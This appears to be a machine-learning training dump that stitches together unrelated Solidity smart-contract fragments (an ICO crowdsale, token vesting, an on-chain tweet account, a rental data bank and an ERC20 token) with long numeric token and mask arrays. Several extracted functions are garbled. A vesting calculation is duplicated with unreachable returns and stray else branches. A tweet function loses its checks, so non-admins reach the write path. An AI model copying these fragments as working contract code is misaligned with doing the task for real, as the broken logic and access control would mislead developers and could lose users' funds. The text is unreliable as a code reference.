totalInvestedAmount[msg.sender].add(msg.value); require(senderTotalInvestment <= MAX_INVESTMENT); uint256 weiAmount = msg.value; uint256 excessiveFunds = 0; uint256 tokensAmount = weiAmount.mul(exchangeRateIco()); if (tokensAmount > tokensRemainingIco) { uint256 weiToAccept = tokensRemainingIco.div(exchangeRateIco()); excessiveFunds = weiAmount.sub(weiToAccept); tokensAmount = tokensRemainingIco; weiAmount = weiToAccept; } addIcoPurchaseInfo(weiAmount, tokensAmount); owner.transfer(weiAmount); token.transferFromIco(msg.sender, tokensAmount); if (excessiveFunds > 0) { msg.sender.transfer(excessiveFunds); } } /** * @dev Manual send tokens to the specified address. * @param _address The address of a investor. * @param _tokensAmount Amount of tokens. */ function manualSendTokens(address _address, uint256 _tokensAmount) public whenWhitelisted(_address) onlyOwner { require(_address != address(0)); require(_tokensAmount > 0); if (isPreIco() && _tokensAmount <= tokensRemainingPreIco) { token.transferFromIco(_address, _tokensAmount); addPreIcoPurchaseInfo(0, _tokensAmount); } else if (isIco() && _tokensAmount <= tokensRemainingIco) { token.transferFromIco(_address, _tokensAmount); addIcoPurchaseInfo(0, _tokensAmount); } else { revert(); } } /** * @dev Update the pre-ICO investments statistic. * @param _weiAmount The investment received from a pre-ICO investor. * @param _tokensAmount The tokens that will be sent to pre-ICO investor. */ function addPreIcoPurchaseInfo(uint256 _weiAmount, uint256 _tokensAmount) internal { totalInvestedAmount[msg.sender] = totalInvestedAmount[msg.sender].add(_weiAmount); tokensSoldPreIco = tokensSoldPreIco.add(_tokensAmount); tokensSoldTotal = tokensSoldTotal.add(_tokensAmount); tokensRemainingPreIco = tokensRemainingPreIco.sub(_tokensAmount); weiRaisedPreIco = weiRaisedPreIco.add(_weiAmount); weiRaisedTotal = weiRaisedTotal.add(_weiAmount); } /** * @dev Update the ICO investments statistic. * @param _weiAmount The investment received from a ICO investor. * @param _tokensAmount The tokens that will be sent to ICO investor. */ function addIcoPurchaseInfo(uint256 _weiAmount, uint256 _tokensAmount) internal { totalInvestedAmount[msg.sender] = totalInvestedAmount[msg.sender].add(_weiAmount); tokensSoldIco = tokensSoldIco.add(_tokensAmount); tokensSoldTotal = tokensSoldTotal.add(_tokensAmount); tokensRemainingIco = tokensRemainingIco.sub(_tokensAmount); weiRaisedIco = weiRaisedIco.add(_weiAmount); weiRaisedTotal = weiRaisedTotal.add(_weiAmount); } } contract Factory { VeiagCrowdsale public crowdsale; function createCrowdsale ( uint256 _startTimePreIco, uint256 _endTimePreIco, uint256 _startTimeIco, uint256 _endTimeIco, address _lockedWallet, address _teamsWallet, address _foundersWallet, address _marketingWallet ) public { crowdsale = new VeiagCrowdsale( _startTimePreIco, _endTimePreIco, _startTimeIco, _endTimeIco, _lockedWallet, _teamsWallet, _foundersWallet, _marketingWallet ); Whitelist whitelist = crowdsale.whitelist(); whitelist.transferOwnership(msg.sender); VeiagToken token = crowdsale.token(); token.transferOwnership(msg.sender); crowdsale.transferOwnership(msg.sender); } }
* @title TokenVesting @dev A token holder contract that can release its token balance gradually like a typical vesting scheme, with a cliff and vesting period. Optionally revocable by the owner./ beneficiary of tokens after they are released
contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; constructor( address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable ) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } function setStart(uint256 _start) onlyOwner public { start = _start; } function release(ERC20Basic _token) public { uint256 unreleased = releasableAmount(_token); require(unreleased > 0); released[_token] = released[_token].add(unreleased); _token.transfer(beneficiary, unreleased); emit Released(unreleased); } function revoke(ERC20Basic _token) public onlyOwner { require(revocable); require(!revoked[_token]); uint256 balance = _token.balanceOf(address(this)); uint256 unreleased = releasableAmount(_token); uint256 refund = balance.sub(unreleased); revoked[_token] = true; _token.transfer(owner, refund); emit Revoked(); } function releasableAmount(ERC20Basic _token) public view returns (uint256) { return vestedAmount(_token).sub(released[_token]); } function vestedAmount(ERC20Basic _token) public view returns (uint256) { uint256 currentBalance = _token.balanceOf(address(this)); uint256 totalBalance = currentBalance.add(released[_token]); if (block.timestamp < cliff) { return 0; return totalBalance; return totalBalance.mul(block.timestamp.sub(start)).div(duration); } } function vestedAmount(ERC20Basic _token) public view returns (uint256) { uint256 currentBalance = _token.balanceOf(address(this)); uint256 totalBalance = currentBalance.add(released[_token]); if (block.timestamp < cliff) { return 0; return totalBalance; return totalBalance.mul(block.timestamp.sub(start)).div(duration); } } } else if (block.timestamp >= start.add(duration) || revoked[_token]) { } else { }
318,847
[ 1, 1345, 58, 10100, 225, 432, 1147, 10438, 6835, 716, 848, 3992, 2097, 1147, 11013, 3087, 2544, 1230, 3007, 279, 24917, 331, 10100, 4355, 16, 598, 279, 927, 3048, 471, 331, 10100, 3879, 18, 20720, 5588, 504, 429, 635, 326, 3410, 18, 19, 27641, 74, 14463, 814, 434, 2430, 1839, 2898, 854, 15976, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 3155, 58, 10100, 353, 14223, 6914, 288, 203, 225, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 225, 1450, 14060, 654, 39, 3462, 364, 4232, 39, 3462, 8252, 31, 203, 203, 225, 871, 10819, 72, 12, 11890, 5034, 3844, 1769, 203, 225, 871, 14477, 14276, 5621, 203, 203, 225, 1758, 1071, 27641, 74, 14463, 814, 31, 203, 203, 225, 2254, 5034, 1071, 927, 3048, 31, 203, 225, 2254, 5034, 1071, 787, 31, 203, 225, 2254, 5034, 1071, 3734, 31, 203, 203, 225, 1426, 1071, 5588, 504, 429, 31, 203, 203, 225, 2874, 261, 2867, 516, 2254, 5034, 13, 1071, 15976, 31, 203, 225, 2874, 261, 2867, 516, 1426, 13, 1071, 22919, 31, 203, 203, 225, 3885, 12, 203, 565, 1758, 389, 70, 4009, 74, 14463, 814, 16, 203, 565, 2254, 5034, 389, 1937, 16, 203, 565, 2254, 5034, 389, 830, 3048, 16, 203, 565, 2254, 5034, 389, 8760, 16, 203, 565, 1426, 389, 9083, 504, 429, 203, 225, 262, 203, 565, 1071, 203, 203, 225, 288, 203, 565, 2583, 24899, 70, 4009, 74, 14463, 814, 480, 1758, 12, 20, 10019, 203, 565, 2583, 24899, 830, 3048, 1648, 389, 8760, 1769, 203, 203, 565, 27641, 74, 14463, 814, 273, 389, 70, 4009, 74, 14463, 814, 31, 203, 565, 5588, 504, 429, 273, 389, 9083, 504, 429, 31, 203, 565, 3734, 273, 389, 8760, 31, 203, 565, 927, 3048, 273, 389, 1937, 18, 1289, 24899, 830, 3048, 1769, 203, 565, 787, 273, 389, 1937, 31, 203, 225, 289, 203, 203, 225, 445, 18171, 12, 11890, 2 ]
/* decentralized microblogging Copyright (C) 2015 Jahn Bertsch This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation in version 3. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ pragma solidity ^0.4.11; // References: https://github.com/yep/eth-tweet contract TweetAccount { // data structure of a single tweet struct Tweet { uint timestamp; string tweetString; } // "array" of all tweets of this account: maps the tweet id to the actual tweet mapping (uint => Tweet) _tweets; // total number of tweets in the above _tweets mapping uint _numberOfTweets; // "owner" of this account: only admin is allowed to tweet address _adminAddress; // constructor function TweetAccount() { _numberOfTweets = 0; _adminAddress = msg.sender; } // returns true if caller of function ("sender") is admin function isAdmin() constant returns (bool isAdmin) { return msg.sender == _adminAddress; } // create new tweet function tweet(string tweetString) returns (int result) { if (!isAdmin()) { // only owner is allowed to create tweets for this account result = -1; } else if (bytes(tweetString).length > 160) { // tweet contains more than 160 bytes result = -2; } else { _tweets[_numberOfTweets].timestamp = now; _tweets[_numberOfTweets].tweetString = tweetString; _numberOfTweets++; result = 0; // success } } function getTweet(uint tweetId) constant returns (string tweetString, uint timestamp) { // returns two values tweetString = _tweets[tweetId].tweetString; timestamp = _tweets[tweetId].timestamp; } function getLatestTweet() constant returns (string tweetString, uint timestamp, uint numberOfTweets) { // returns three values tweetString = _tweets[_numberOfTweets - 1].tweetString; timestamp = _tweets[_numberOfTweets - 1].timestamp; numberOfTweets = _numberOfTweets; } function getOwnerAddress() constant returns (address adminAddress) { return _adminAddress; } function getNumberOfTweets() constant returns (uint numberOfTweets) { return _numberOfTweets; } // other users can send donations to your account: use this function for donation withdrawal function adminRetrieveDonations(address receiver) { if (isAdmin()) { receiver.send(this.balance); } } function adminDeleteAccount() { if (isAdmin()) { suicide(_adminAddress); // this is a predefined function, it deletes the contract and returns all funds to the owner's address } } }
create new tweet only owner is allowed to create tweets for this account tweet contains more than 160 bytes
function tweet(string tweetString) returns (int result) { if (!isAdmin()) { result = -1; result = -2; _tweets[_numberOfTweets].timestamp = now; _tweets[_numberOfTweets].tweetString = tweetString; _numberOfTweets++; } }
7,225,976
[ 1, 2640, 394, 18320, 1338, 3410, 353, 2935, 358, 752, 10810, 2413, 364, 333, 2236, 18320, 1914, 1898, 2353, 25430, 1731, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 915, 18320, 12, 1080, 18320, 780, 13, 1135, 261, 474, 563, 13, 288, 203, 202, 202, 430, 16051, 291, 4446, 10756, 288, 203, 1082, 202, 2088, 273, 300, 21, 31, 203, 1082, 202, 2088, 273, 300, 22, 31, 203, 1082, 202, 67, 88, 31373, 63, 67, 2696, 951, 56, 31373, 8009, 5508, 273, 2037, 31, 203, 1082, 202, 67, 88, 31373, 63, 67, 2696, 951, 56, 31373, 8009, 88, 18028, 780, 273, 18320, 780, 31, 203, 1082, 202, 67, 2696, 951, 56, 31373, 9904, 31, 203, 202, 202, 97, 203, 202, 97, 203, 202, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x61b3E0fcEF001A8bcBd216c72bd78902ef8EA325/sources/project_/contracts/lib/utils/SimpleEnumerator.sol
Move the last item to the slot of the to-delete item
_allItems[itemIndex] = lastItemId;
1,920,279
[ 1, 7607, 326, 1142, 761, 358, 326, 4694, 434, 326, 358, 17, 3733, 761, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 389, 454, 3126, 63, 1726, 1016, 65, 273, 1142, 17673, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./Administration.sol"; contract DataBank is Administration { address[] paymentTokens; uint256 weekPeriod = 604800; uint256 monthPeriod = 2592000; enum PaymentStatus{NOTDUE, DUE, OVERDUE} mapping(uint256 => Renter) internal RENTERS; // Renter identifier mapping(uint256 => Rentee) internal RENTEES; // Renter identifier mapping(uint256 => Property) internal PROPERTIES; // Property identifier mapping(uint256 => Property) internal ownedProperties; // 0 index of owned property mapping(uint256 => mapping(PaymentStatus => Property)) internal _propertyRentStatus; // status of current month's rent for user mapping(uint256 => mapping(PaymentStatus => Renter)) internal _renterRentStatus; // status of current month's rent struct Renter { address[] renterWallets; // array of user wallets address[] admins; // array of admin addresses uint256 arrears; // rent owed uint256 rent; // rent amount uint256 weeksMissed; // how many weeks in arrears uint256 renterID; // renter identifier uint256 propertyID; // Property Identifier bool inDebt; // Yes or No, quick identifier bool isDeleted; // Yes or No, has the Renter been removed PaymentStatus paymentStatus; } struct Rentee { address[] renteeWallets; // array of rentee wallets address[] admins; // array of admin addresses uint256[] ownedProperties; // owned properties uint256 monthlyRentDue; // amount due each month = property.rent * rent / 12 * ownedProperties uint256 arrearsOwed; // arrears owed = renter.weeksMissed * rent(weekPeriod).propertyID uint256 renteeID; // Rentee identifier bool isDeleted; // Yes or No, has the Rentee been removed } struct Property { string identifier; // house name or number string streetName; // street name string postcode; // zip code uint256 rent; // monthly rent amount uint256 renteeID; // Rentee Identifier uint256 renterID; // Renter Identifier uint256 propertyID; // Property Identifier address[] admins; // array of admin addresses bool inDefault; // Yes or No, quick identifier bool isDeleted; // Yes or No, has the property been removed PaymentStatus paymentStatus; } }
status of current month's rent
mapping(uint256 => mapping(PaymentStatus => Renter)) internal _renterRentStatus;
7,230,280
[ 1, 2327, 434, 783, 3138, 1807, 283, 496, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 2874, 12, 11890, 5034, 516, 2874, 12, 6032, 1482, 516, 534, 2328, 3719, 2713, 389, 1187, 387, 54, 319, 1482, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.15; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; if (a != 0 && c / a != b) revert(); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { if (b > a) revert(); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; if (c < a) revert(); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping (address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title IRBTokens * @dev IRB Token contract based on Zeppelin StandardToken contract */ contract IRBToken is StandardToken, Ownable { using SafeMath for uint256; /** * @dev ERC20 descriptor variables */ string public constant name = "IRB Tokens"; string public constant symbol = "IRB"; uint8 public decimals = 18; /** * @dev 489.58 millions s the initial Token sale */ uint256 public constant crowdsaleTokens = 489580 * 10 ** 21; /** * @dev 10.42 millions is the initial Token presale */ uint256 public constant preCrowdsaleTokens = 10420 * 10 ** 21; // TODO: TestRPC addresses, replace to real // PRE Crowdsale Tokens Wallet address public constant preCrowdsaleTokensWallet = 0x0CD95a59fAd089c4EBCCEB54f335eC8f61Caa80e; // Crowdsale Tokens Wallet address public constant crowdsaleTokensWallet = 0x48545E41696Dc51020C35cA8C36b678101a98437; /** * @dev Address of PRE Crowdsale contract which will be compared * against in the appropriate modifier check */ address public preCrowdsaleContractAddress; /** * @dev Address of Crowdsale contract which will be compared * against in the appropriate modifier check */ address public crowdsaleContractAddress; /** * @dev variable that holds flag of ended pre tokensake */ bool isPreFinished = false; /** * @dev variable that holds flag of ended tokensake */ bool isFinished = false; /** * @dev Modifier that allow only the Crowdsale contract to be sender */ modifier onlyPreCrowdsaleContract() { require(msg.sender == preCrowdsaleContractAddress); _; } /** * @dev Modifier that allow only the Crowdsale contract to be sender */ modifier onlyCrowdsaleContract() { require(msg.sender == crowdsaleContractAddress); _; } /** * @dev event for the burnt tokens after crowdsale logging * @param tokens amount of tokens available for crowdsale */ event TokensBurnt(uint256 tokens); /** * @dev event for the tokens contract move to the active state logging * @param supply amount of tokens left after all the unsold was burned */ event Live(uint256 supply); /** * @dev Contract constructor */ function IRBToken() { // Issue pre crowdsale tokens balances[preCrowdsaleTokensWallet] = 